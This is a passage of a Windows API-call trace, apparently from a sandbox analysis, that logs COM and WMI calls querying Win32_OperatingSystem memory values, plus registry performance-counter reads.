[6]=0x0, [7]=0x46)), ppv=0x1da9d968 | out: ppv=0x1da9d968*=0x1d218610) returned 0x0 [0288.005] WbemDefPath:IUnknown:QueryInterface (in: This=0x1d218610, riid=0x7ffb029856a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1da9da50 | out: ppvObject=0x1da9da50*=0x0) returned 0x80004002 [0288.005] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1d218610, pUnkOuter=0x0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9da28 | out: ppvObject=0x1da9da28*=0x1b293920) returned 0x0 [0288.005] WbemDefPath:IUnknown:Release (This=0x1d218610) returned 0x0 [0288.005] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b293920, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d7d0 | out: ppvObject=0x1da9d7d0*=0x1b293920) returned 0x0 [0288.005] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b293920, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1da9d860 | out: ppvObject=0x1da9d860*=0x0) returned 0x80004002 [0288.005] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b293920, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1da9d058 | out: ppvObject=0x1da9d058*=0x0) returned 0x80004002 [0288.005] WbemDefPath:IUnknown:AddRef (This=0x1b293920) returned 0x3 [0288.005] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b293920, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1da9cf18 | out: ppvObject=0x1da9cf18*=0x0) returned 0x80004002 [0288.005] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b293920, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1da9cea0 | out: ppvObject=0x1da9cea0*=0x0) returned 0x80004002 [0288.005] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b293920, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9ce90 | out: ppvObject=0x1da9ce90*=0x1d218690) returned 0x0 [0288.006] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1d218690, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1da9ceb8 | out: pCid=0x1da9ceb8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0288.006] WbemDefPath:IUnknown:Release (This=0x1d218690) returned 0x3 [0288.006] CoGetContextToken (in: pToken=0x1da9cf40 | out: pToken=0x1da9cf40) returned 0x0 [0288.006] CoGetContextToken (in: pToken=0x1da9d3c0 | out: pToken=0x1da9d3c0) returned 0x0 [0288.006] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b293920, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d480 | out: ppvObject=0x1da9d480*=0x0) returned 0x80004002 [0288.006] WbemDefPath:IUnknown:Release (This=0x1b293920) returned 0x2 [0288.006] WbemDefPath:IUnknown:Release (This=0x1b293920) returned 0x1 [0288.006] CoGetContextToken (in: pToken=0x1da9e1b0 | out: pToken=0x1da9e1b0) returned 0x0 [0288.006] CoGetContextToken (in: pToken=0x1da9e0b0 | out: pToken=0x1da9e0b0) returned 0x0 [0288.006] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b293920, riid=0x1da9e210*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1da9e1e0 | out: ppvObject=0x1da9e1e0*=0x1b293920) returned 0x0 [0288.006] WbemDefPath:IUnknown:AddRef (This=0x1b293920) returned 0x3 [0288.006] WbemDefPath:IUnknown:Release (This=0x1b293920) returned 0x2 [0288.006] WbemDefPath:IWbemPath:SetText (This=0x1b293920, uMode=0x4, pszPath="\\\\XC64ZB\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XC64ZB\"") returned 0x0 [0288.006] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b2949a0, puCount=0x1da9e598 | out: puCount=0x1da9e598*=0x2) returned 0x0 [0288.007] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e590*=0x0, pszText=0x0 | out: puBuffLength=0x1da9e590*=0xf, pszText=0x0) returned 0x0 [0288.007] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e590*=0xf, pszText="00000000000000" | out: puBuffLength=0x1da9e590*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0288.007] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b2949a0, puCount=0x1da9e568 | out: puCount=0x1da9e568*=0x2) returned 0x0 [0288.007] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e560*=0x0, pszText=0x0 | out: puBuffLength=0x1da9e560*=0xf, pszText=0x0) returned 0x0 [0288.007] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e560*=0xf, pszText="00000000000000" | out: puBuffLength=0x1da9e560*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0288.007] IWbemClassObject:Get (in: This=0x1b269a20, wszName="FreePhysicalMemory", lFlags=0, pVal=0x1da9e520*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2810bd0*=0, plFlavor=0x2810bd4*=0 | out: pVal=0x1da9e520*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="1359840", varVal2=0x0), pType=0x2810bd0*=21, plFlavor=0x2810bd4*=0) returned 0x0 [0288.007] SysStringByteLen (bstr="1359840") returned 0xe [0288.007] SysStringByteLen (bstr="1359840") returned 0xe [0288.007] IWbemClassObject:Get (in: This=0x1b269a20, wszName="FreePhysicalMemory", lFlags=0, pVal=0x1da9e570*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2810bd0*=21, plFlavor=0x2810bd4*=0 | out: pVal=0x1da9e570*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="1359840", varVal2=0x0), pType=0x2810bd0*=21, plFlavor=0x2810bd4*=0) returned 0x0 [0288.007] SysStringByteLen (bstr="1359840") returned 0xe [0288.008] SysStringByteLen (bstr="1359840") returned 0xe [0288.008] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b2949a0, puCount=0x1da9e568 | out: puCount=0x1da9e568*=0x2) returned 0x0 [0288.008] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e560*=0x0, pszText=0x0 | out: puBuffLength=0x1da9e560*=0xf, pszText=0x0) returned 0x0 [0288.008] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e560*=0xf, pszText="00000000000000" | out: puBuffLength=0x1da9e560*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0288.008] IWbemClassObject:Get (in: This=0x1b269a20, wszName="TotalVisibleMemorySize", lFlags=0, pVal=0x1da9e520*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2810dc8*=0, plFlavor=0x2810dcc*=0 | out: pVal=0x1da9e520*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="2096620", varVal2=0x0), pType=0x2810dc8*=21, plFlavor=0x2810dcc*=0) returned 0x0 [0288.009] SysStringByteLen (bstr="2096620") returned 0xe [0288.009] SysStringByteLen (bstr="2096620") returned 0xe [0288.009] IWbemClassObject:Get (in: This=0x1b269a20, wszName="TotalVisibleMemorySize", lFlags=0, pVal=0x1da9e570*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2810dc8*=21, plFlavor=0x2810dcc*=0 | out: pVal=0x1da9e570*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="2096620", varVal2=0x0), pType=0x2810dc8*=21, plFlavor=0x2810dcc*=0) returned 0x0 [0288.009] SysStringByteLen (bstr="2096620") returned 0xe [0288.009] SysStringByteLen (bstr="2096620") returned 0xe [0288.009] CoGetContextToken (in: pToken=0x1da9e370 | out: pToken=0x1da9e370) returned 0x0 [0288.009] WbemLocator:IUnknown:Release (This=0x1b2031f8) returned 0x1 [0288.009] IUnknown:Release (This=0x1b286080) returned 0x0 [0290.027] GetTickCount64 () returned 0x1ac5083 [0290.028] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="238", lpReserved=0x0, lpType=0x1da9e428, lpData=0x0, lpcbData=0x1da9e420*=0x0 | out: lpType=0x1da9e428*=0x3, lpData=0x0, lpcbData=0x1da9e420*=0x0) returned 0xea [0290.028] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="238", lpReserved=0x0, lpType=0x1da9e428, lpData=0x2621390, lpcbData=0x1da9e418*=0xfde8 | out: lpType=0x1da9e428*=0x3, lpData=0x2621390*, lpcbData=0x1da9e418*=0x438) returned 0x0 [0290.030] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="234", lpReserved=0x0, lpType=0x1da9e428, lpData=0x0, lpcbData=0x1da9e420*=0x0 | out: lpType=0x1da9e428*=0x3, lpData=0x0, lpcbData=0x1da9e420*=0x0) returned 0xea [0290.031] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="234", lpReserved=0x0, lpType=0x1da9e428, lpData=0x26327a8, lpcbData=0x1da9e418*=0xfde8 | out: lpType=0x1da9e428*=0x3, lpData=0x26327a8*, lpcbData=0x1da9e418*=0xea8) returned 0x0 [0290.034] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b2949a0, puCount=0x1da9e6f8 | out: puCount=0x1da9e6f8*=0x2) returned 0x0 [0290.034] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e6f0*=0x0, pszText=0x0 | out: puBuffLength=0x1da9e6f0*=0xf, pszText=0x0) returned 0x0 [0290.034] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e6f0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1da9e6f0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0290.034] CoGetObjectContext (in: riid=0x22967c0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1da9e678 | out: ppv=0x1da9e678*=0x77dd58) returned 0x0 [0290.035] IComThreadingInfo:GetCurrentApartmentType (in: This=0x77dd58, pAptType=0x1da9e668 | out: pAptType=0x1da9e668*=1) returned 0x0 [0290.035] IUnknown:QueryInterface (in: This=0x77dd58, riid=0x22967a0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1da9e670 | out: ppvObject=0x1da9e670*=0x0) returned 0x80004002 [0290.035] IUnknown:Release (This=0x77dd58) returned 0x1 [0290.035] CoGetClassObject (in: rclsid=0x1b1c9c68*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffb02962d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1da9dd38 | out: ppv=0x1da9dd38*=0x1d218210) returned 0x0 [0290.036] WbemLocator:IUnknown:QueryInterface (in: This=0x1d218210, riid=0x7ffb029856a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1da9de20 | out: ppvObject=0x1da9de20*=0x0) returned 0x80004002 [0290.036] WbemLocator:IClassFactory:CreateInstance (in: This=0x1d218210, pUnkOuter=0x0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9ddf8 | out: ppvObject=0x1da9ddf8*=0x1d218590) returned 0x0 [0290.036] WbemLocator:IUnknown:Release (This=0x1d218210) returned 0x0 [0290.036] WbemLocator:IUnknown:QueryInterface (in: This=0x1d218590, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9dba0 | out: ppvObject=0x1da9dba0*=0x1d218590) returned 0x0 [0290.038] WbemLocator:IUnknown:QueryInterface (in: This=0x1d218590, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1da9dc30 | out: ppvObject=0x1da9dc30*=0x0) returned 0x80004002 [0290.038] WbemLocator:IUnknown:QueryInterface (in: This=0x1d218590, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1da9d428 | out: ppvObject=0x1da9d428*=0x0) returned 0x80004002 [0290.039] WbemLocator:IUnknown:AddRef (This=0x1d218590) returned 0x3 [0290.039] WbemLocator:IUnknown:QueryInterface (in: This=0x1d218590, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1da9d2e8 | out: ppvObject=0x1da9d2e8*=0x0) returned 0x80004002 [0290.039] WbemLocator:IUnknown:QueryInterface (in: This=0x1d218590, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1da9d270 | out: ppvObject=0x1da9d270*=0x0) returned 0x80004002 [0290.039] WbemLocator:IUnknown:QueryInterface (in: This=0x1d218590, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d260 | out: ppvObject=0x1da9d260*=0x0) returned 0x80004002 [0290.039] CoGetContextToken (in: pToken=0x1da9d310 | out: pToken=0x1da9d310) returned 0x0 [0290.039] CoGetContextToken (in: pToken=0x1da9d790 | out: pToken=0x1da9d790) returned 0x0 [0290.039] WbemLocator:IUnknown:QueryInterface (in: This=0x1d218590, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d850 | out: ppvObject=0x1da9d850*=0x0) returned 0x80004002 [0290.039] WbemLocator:IUnknown:Release (This=0x1d218590) returned 0x2 [0290.039] WbemLocator:IUnknown:Release (This=0x1d218590) returned 0x1 [0290.039] CoGetContextToken (in: pToken=0x1da9e1d0 | out: pToken=0x1da9e1d0) returned 0x0 [0290.039] CoGetContextToken (in: pToken=0x1da9e0d0 | out: pToken=0x1da9e0d0) returned 0x0 [0290.039] WbemLocator:IUnknown:QueryInterface (in: This=0x1d218590, riid=0x1da9e230*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1da9e200 | out: ppvObject=0x1da9e200*=0x1d218590) returned 0x0 [0290.039] WbemLocator:IUnknown:AddRef (This=0x1d218590) returned 0x3 [0290.039] WbemLocator:IUnknown:Release (This=0x1d218590) returned 0x2 [0290.039] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b2949a0, puCount=0x1da9e608 | out: puCount=0x1da9e608*=0x2) returned 0x0 [0290.039] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=8, puBuffLength=0x1da9e600*=0x0, pszText=0x0 | out: puBuffLength=0x1da9e600*=0xf, pszText=0x0) returned 0x0 [0290.039] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=8, puBuffLength=0x1da9e600*=0xf, pszText="00000000000000" | out: puBuffLength=0x1da9e600*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0290.039] CoCreateInstance (in: rclsid=0x7ffb15d966a8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ffb15d96708*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1da9e350 | out: ppv=0x1da9e350*=0x1d218310) returned 0x0 [0290.040] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1d218310, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1da9e4c8 | out: ppNamespace=0x1da9e4c8*=0x1d290350) returned 0x0 [0290.163] WbemLocator:IUnknown:QueryInterface (in: This=0x1d290350, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e1c8 | out: ppvObject=0x1da9e1c8*=0x1b202650) returned 0x0 [0290.164] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1b202650, pProxy=0x1d290350, pAuthnSvc=0x1da9e290, pAuthzSvc=0x1da9e210, pServerPrincName=0x1da9e238, pAuthnLevel=0x1da9e214, pImpLevel=0x1da9e220, pAuthInfo=0x1da9e248, pCapabilites=0x1da9e224 | out: pAuthnSvc=0x1da9e290*=0xa, pAuthzSvc=0x1da9e210*=0x0, pServerPrincName=0x1da9e238, pAuthnLevel=0x1da9e214*=0x6, pImpLevel=0x1da9e220*=0x2, pAuthInfo=0x1da9e248, pCapabilites=0x1da9e224*=0x1) returned 0x0 [0290.164] WbemLocator:IUnknown:Release (This=0x1b202650) returned 0x1 [0290.164] WbemLocator:IUnknown:QueryInterface (in: This=0x1d290350, riid=0x7ffb15d96518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e160 | out: ppvObject=0x1da9e160*=0x1b202698) returned 0x0 [0290.164] WbemLocator:IUnknown:QueryInterface (in: This=0x1d290350, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e170 | out: ppvObject=0x1da9e170*=0x1b202650) returned 0x0 [0290.164] WbemLocator:IClientSecurity:SetBlanket (This=0x1b202650, pProxy=0x1d290350, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0290.164] WbemLocator:IUnknown:Release (This=0x1b202650) returned 0x2 [0290.164] WbemLocator:IUnknown:Release (This=0x1b202698) returned 0x1 [0290.164] CoTaskMemFree (pv=0x1d1e6c60) [0290.164] WbemLocator:IUnknown:Release (This=0x1d218310) returned 0x0 [0290.165] WbemLocator:IUnknown:QueryInterface (in: This=0x1d290350, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9dc60 | out: ppvObject=0x1da9dc60*=0x1b202698) returned 0x0 [0290.165] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202698, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1da9dcf0 | out: ppvObject=0x1da9dcf0*=0x0) returned 0x80004002 [0290.328] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202698, riid=0x7ffb0293bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1da9d910 | out: ppvObject=0x1da9d910*=0x0) returned 0x80004002 [0290.328] WbemLocator:IUnknown:QueryInterface (in: This=0x1d290350, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1da9d4e8 | out: ppvObject=0x1da9d4e8*=0x0) returned 0x80004002 [0290.329] WbemLocator:IUnknown:AddRef (This=0x1b202698) returned 0x3 [0290.329] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202698, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1da9d3a8 | out: ppvObject=0x1da9d3a8*=0x0) returned 0x80004002 [0290.329] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202698, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1da9d330 | out: ppvObject=0x1da9d330*=0x0) returned 0x80004002 [0290.329] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202698, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d320 | out: ppvObject=0x1da9d320*=0x1b202578) returned 0x0 [0290.330] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b202578, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1da9d348 | out: pCid=0x1da9d348*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0290.330] WbemLocator:IUnknown:Release (This=0x1b202578) returned 0x3 [0290.330] CoGetContextToken (in: pToken=0x1da9d3d0 | out: pToken=0x1da9d3d0) returned 0x0 [0290.330] CoGetContextToken (in: pToken=0x1da9d850 | out: pToken=0x1da9d850) returned 0x0 [0290.330] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202698, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d910 | out: ppvObject=0x1da9d910*=0x1b202660) returned 0x0 [0290.330] WbemLocator:IRpcOptions:Query (in: This=0x1b202660, pPrx=0x1b202698, dwProperty=2, pdwValue=0x1da9d900 | out: pdwValue=0x1da9d900) returned 0x80004002 [0290.330] WbemLocator:IUnknown:Release (This=0x1b202660) returned 0x3 [0290.330] WbemLocator:IUnknown:Release (This=0x1b202698) returned 0x2 [0290.330] CoGetContextToken (in: pToken=0x1da9df10 | out: pToken=0x1da9df10) returned 0x0 [0290.330] CoGetContextToken (in: pToken=0x1da9de10 | out: pToken=0x1da9de10) returned 0x0 [0290.330] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202698, riid=0x1da9df70*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1da9df40 | out: ppvObject=0x1da9df40*=0x1d290350) returned 0x0 [0290.331] WbemLocator:IUnknown:AddRef (This=0x1d290350) returned 0x4 [0290.331] WbemLocator:IUnknown:Release (This=0x1d290350) returned 0x3 [0290.331] WbemLocator:IUnknown:Release (This=0x1d290350) returned 0x2 [0290.331] SysStringLen (param_1=0x0) returned 0x0 [0290.331] CoGetContextToken (in: pToken=0x1da9e040 | out: pToken=0x1da9e040) returned 0x0 [0290.331] WbemLocator:IUnknown:AddRef (This=0x1b202698) returned 0x3 [0290.331] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202698, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e040 | out: ppvObject=0x1da9e040*=0x1b202698) returned 0x0 [0290.331] WbemLocator:IUnknown:Release (This=0x1b202698) returned 0x3 [0290.331] WbemLocator:IUnknown:Release (This=0x1b202698) returned 0x2 [0290.331] CoGetContextToken (in: pToken=0x1da9e170 | out: pToken=0x1da9e170) returned 0x0 [0290.331] WbemLocator:IUnknown:AddRef (This=0x1d290350) returned 0x3 [0290.332] IWbemServices:ExecQuery (in: This=0x1d290350, strQueryLanguage="WQL", strQuery="select * from Win32_OperatingSystem", lFlags=16, pCtx=0x0, ppEnum=0x1da9e618 | out: ppEnum=0x1da9e618*=0x1b286b00) returned 0x0 [0290.336] IUnknown:QueryInterface (in: This=0x1b286b00, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, 